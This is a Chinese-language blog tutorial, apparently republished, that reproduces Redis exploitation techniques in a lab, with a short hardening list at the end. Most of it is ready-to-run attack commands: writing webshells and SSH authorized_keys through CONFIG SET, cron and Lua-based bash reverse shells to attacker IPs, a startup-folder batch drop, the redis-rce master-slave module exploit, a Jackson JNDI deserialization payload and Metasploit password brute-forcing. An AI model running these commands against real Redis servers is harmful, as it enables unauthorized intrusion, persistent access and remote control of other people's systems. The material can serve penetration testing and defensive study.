您好,登錄后才能下訂單哦!
這篇文章給大家分享的是有關Redis漏洞利用的示例分析的內容。小編覺得挺實用的,因此分享給大家做個參考,一起跟隨小編過來看看吧。
僅供參考學習使用
Redis相關的漏洞存在很長時間了,仍然存在可以利用的情景,本次整理復現下redis相關的漏洞利用,以便以后遇到能夠快速建立利用思路。
redis是一個key-value存儲系統。和Memcached類似,它支持存儲的value類型相對更多,包括string(字符串)、list(鏈表)、set(**)、zset(sorted set --有序**)和hash(哈希類型)。
redis很大程度補償了memcached這類key/value存儲的不足,在部分場合可以對關系數據庫起到很好的補充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客戶端,使用很方便。
redis支持主從同步。數據可以從主服務器向任意數量的從服務器上同步,從服務器可以是關聯其他從服務器的主服務器。
默認端口:6379
分別搭建windows和linux的測試環境。
官方給出redis的windows版本最新為3.x。
windows下載地址:
https://github.com/microsoftarchive/redis/releases
下載Redis-x64-3.2.100.zip解壓到本地目錄下。
修改配置文件redis.windows.conf ,開啟遠程訪問,關閉保護模式。
修改bind 127.0.0.1為bind 0.0.0.0
修改protected-mode yes為protected-mode no
指定redis.windows.conf配置文件,啟動redis服務。
redis-server.exe redis.windows.conf
使用redis-cli.exe成功連接redis服務。
linux下載地址:
最新版為6.0.1,可以選擇需要的版本進行下載。
http://download.redis.io/releases/redis-6.0.1.tar.gz
使用wget命令下載
$ wget http://download.redis.io/releases/redis-6.0.1.tar.gz $ tar xzf redis-6.0.1.tar.gz $ cd redis-6.0.1$ make
編譯后,進入src目錄,將redis-server和redis-cli拷貝到/usr/bin目錄下
cp redis-server /usr/bin cp redis-cli /usr/bin cd ../ ls cp redis.conf /etc/
修改redis.conf和windows下配置相同,開啟外部訪問,關閉保護模式。
啟動redis服務
redis-server /etc/redis.conf
成功連接redis服務。
redis-cli -h 172.16.86.136
redis默認情況下沒有設置密碼,在沒有設置IP訪問限制的情況下,可以通過redis寫入文件進行相關利用。
適用范圍:windows,linux版本。
利用條件:
1、目標存在web目錄
2、已知web絕對路徑
3、存在寫入權限
利用過程:
利用redis寫入一個webshell到目標web目錄下。
config set dir "C:/phpstudy_pro/WWW/web" config set dbfilename info.php set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n" save
\r\n\r\n代表換行的意思,用redis入的文件會自帶一些版本信息,如果不換行可能會導致無法執行。
成功寫入文件。
使用范圍:centos
利用條件:
1、權限可寫計劃任務
利用過程:
在權限足夠的情況下,利用redis寫入文件到計劃任務目錄下執行。
首先監聽端口。
nc -lvp 8899
利用redis生成計劃任務配置文件。
config set dir /var/spool/cronset tide "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/x.x.x.x/8899 0>&1\n\n"config set dbfilename root save
在目標主機上成功添加了計劃任務。
crontab -l
每一分鐘執行一次,成功接收到反彈的shell。
坑點:
使用kali做為目標主機進行測試,需要寫入計劃任務到/var/spool/cron/crontabs目錄下。
發現當目標主機為centos時可以反彈shell成功,使用了ubuntu和debian均無法成功反彈shell。
原因:由于redis向任務計劃文件里寫內容出現亂碼而導致的語法錯誤,而亂碼是避免不了的,centos會忽略亂碼去執行格式正確的任務計劃。
使用范圍:開啟了密鑰認證的linux主機
利用條件:
1、root權限
2、開啟了ssh密鑰登錄,存在/etc/.ssh文件
利用過程:
當redis以root身份運行,可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄目標服務器。
1、首先在centos靶機上開啟ssh密鑰登錄。
修改/etc/ssh/sshd_config配置文件。
RSAAuthentication設置為yes,意思是設置開啟使用RSA算法的基于rhosts的安全驗證; PubkeyAuthentication設置為yes,意思是設置開啟公鑰驗證; AuthorizedKeyFiles后面的目錄,是你上傳的公鑰所保存的文件;
重啟服務
systemctl restart sshd.service
2、生成密鑰
在kali中使用自帶的命令生成一對密鑰。
ssh-keygen -t rsa
3、將公鑰內容導入key.txt文件
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
4、將生成的公鑰內容設置給redis里的變量
cat /root/.ssh/key.txt | redis-cli -h x.x.x.x -x set tide
5、在 /root/.ssh 目錄下生成authorized_keys文件。
redis-cli -h x.x.x.x config set dir /root/.ssh config set dbfilename authorized_keys
成功寫入authorized_keys文件。
6、使用本地的私鑰連接ssh
ssh -o StrictHostKeyChecking=no x.x.x.x
連接成功。
坑點:
目標主機必須開啟了密鑰登錄才能利用。
ssh第一次連接時要加上 -o StrictHostKeyChecking=no,不然可能一直連不上。
當目標redis部署在windows主機上時,可以寫入文件到自啟動目錄。當下次電腦重新啟動時執行上線。
使用powershell遠程下載執行。
server服務器默認存在Administrator用戶。
寫入批處理文件到Administrator用戶的開機啟動目錄。
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/" config set dbfilename shell.bat save
使用范圍redis 4.x-5.0.5
在Redis 4.x之后,Redis新增了模塊功能,通過外部拓展,可以在redis中實現一個新的Redis命令,通過寫c語言并編譯出.so文件。
git clone https://github.com/Ridter/redis-rce.gitgit clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
編譯so文件
cd RedisModules-ExecuteCommand/ ls make
編譯完后之后module.so到redis-rce目錄下,運行命令:
python redis-rce.py -r x.x.x.x -L x.x.x.x -f module.so
-r參數是指目標redis IP地址
-L參數是指本機的ip地址
執行命令后,本機21000端口生成一個redis服務,然后目標redis指定本機為主服務器,同步執行so文件。
執行成功后可以選擇生成一個交互的shell,或者重新反彈一個shell。
當遇到 redis 服務器寫文件無法 getshell,可以查看redis數據是否符合序列化數據的特征。
序列化數據類型分辨:
jackson:關注 json 對象是不是數組,第一個元素看起來像不像類名,例如["com.blue.bean.User",xxx] fastjson:關注有沒有 @type 字段 jdk:首先看 value 是不是 base64,如果是解碼后看里面有沒有 java 包名
redis 反序列化本質上不是 redis 的漏洞,而是使用 redis 的應用反序列化了 redis 的數據而引起的漏洞,redis 是一個緩存服務器,用于存儲一些緩存對象,所以在很多場景下 redis 里存儲的都是各種序列化后的對象數據。
兩個常見場景:
一、java 程序要將用戶登錄后的 session 對象序列化緩存起來,這種場景是最常見的。
二、程序員經常會把 redis 和 ORM 框架整合起來,一些頻繁被查詢的數據就會被序列化存儲到 redis 里,在被查詢時就會優先從 redis 里將對象反序列化一遍。
redis一般存儲的都是 java 序列化對象,php、python 比較少見,比較多的是 fastjson 和 jackson 類型的序列化數據,jdk 原生的序列化數據。
因為要從 redis 反序列化對象,在對象類型非單一或少量的情況下程序員通常會選擇開啟 jackson 的 defaulttyping 和 fastjson 的 autotype,所以通常可以進行利用。
fastjson反序列化和java反序列化和jackson 反序列化利用原理相同,都是通過篡改 redis 里面的反序列化數據,把惡意的序列化字節碼存儲進去,等到應用使用到它的時候就會反序列化觸發漏洞,下面演示jackson 反序列化的利用過程。
序列化:把Java對象轉換為字節序列的過程。
反序列化:把字節序列恢復為Java對象的過程。
jackson 反序列化漏洞匯總
使用淺藍大佬的springboot+redis+jackson的漏洞環境進行演示。
下載地址:https://github.com/iSafeBlue/redis-rce
首先搭建漏洞環境。
使用IDEA打開pom.xml文件,自動下載安裝程序運行所需的依賴。
安裝完成后,運行程序。
本地啟動一個redis。
TestController.java 里寫了兩個接口,login 接口會把 User 對象直接存儲到 redis。home 接口會將 username 參數當做 key 去 redis 里查詢。
在“存儲”和“查詢”的時候實際上就是在“序列化”與“反序列化”。
這個過程如下:
調用login接口 -> 序列化User對象并存儲到redis -> 調用home接口 -> 從redis取出數據并反序列化
如果控制了redis,可以先調用login接口把User 對象序列化存儲到redis,然后把redis里的這條序列化數據篡改成惡意反序列化數據。最后去訪問home接口,從redis中取出數據,從而導致觸發了反序列化漏洞。
演示過程:
訪問login接口把數據存儲到redis。
127.0.0.1:8080/login?username=nuoyan&password=123456
修改redis中的存儲的數據為惡意反序列化數據,發起 JNDI 連接請求。相關rmi和jndi服務器搭建可以參考
Fastjson反序列化漏洞利用
set nuoyan "[\"com.zaxxer.hikari.HikariConfig\",{\"metricRegistry\":\"rmi://x.x.x.x:1098/jndi\"}]"
然后訪問home接口,取出數據進行反序列化,成功彈出了計算器。
http://127.0.0.1:8080/home?username=nuoyan
A-Team團隊大佬提出的一種利用方法。相關細節可參考《在Redis中構建Lua虛擬機的穩定攻擊路徑》
適用于高權限運行低版本redis的lua虛擬機,寫文件失敗時進行嘗試。
本地搭建了centos6.5+redis 2.6.16的實驗環境
使用info server 和 eval "return _VERSION" 0 命令可以查看當前redis版本和編譯信息。
下載A-Team團隊的exp
https://github.com/QAX-A-Team/redis_lua_exploit/
修改redis_lua.py中目標地址為靶機的ip地址。
運行攻擊exp。
顯示執行成功,可以進行命令執行了。
連接靶機redis執行反彈shell命令。
eval "tonumber('/bin/bash -i >& /dev/tcp/172.16.100.61/9999 0>&1', 8)" 0
成功接收到反彈的shell。
當redis服務開放且設置了密碼時,可以嘗試使用工具爆破。
首先給redis設置密碼,修改redis.conf,增加密碼
requirepass admin@123
使用redis-cli連接,使用-a參數指定密碼操作。
使用msf的auxiliary/scanner/redis/redis_login模塊
設置爆破的目標地址,和字典文件,不建議使用默認字典文件。
成功爆破出密碼為admin@123
1、禁止使用root權限啟動redis服務。
2、對redis訪問啟動密碼認證。
3、添加IP訪問限制,并更改默認6379端口
感謝各位的閱讀!關于“Redis漏洞利用的示例分析”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,讓大家可以學到更多知識,如果覺得文章不錯,可以把它分享出去讓更多的人看到吧!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。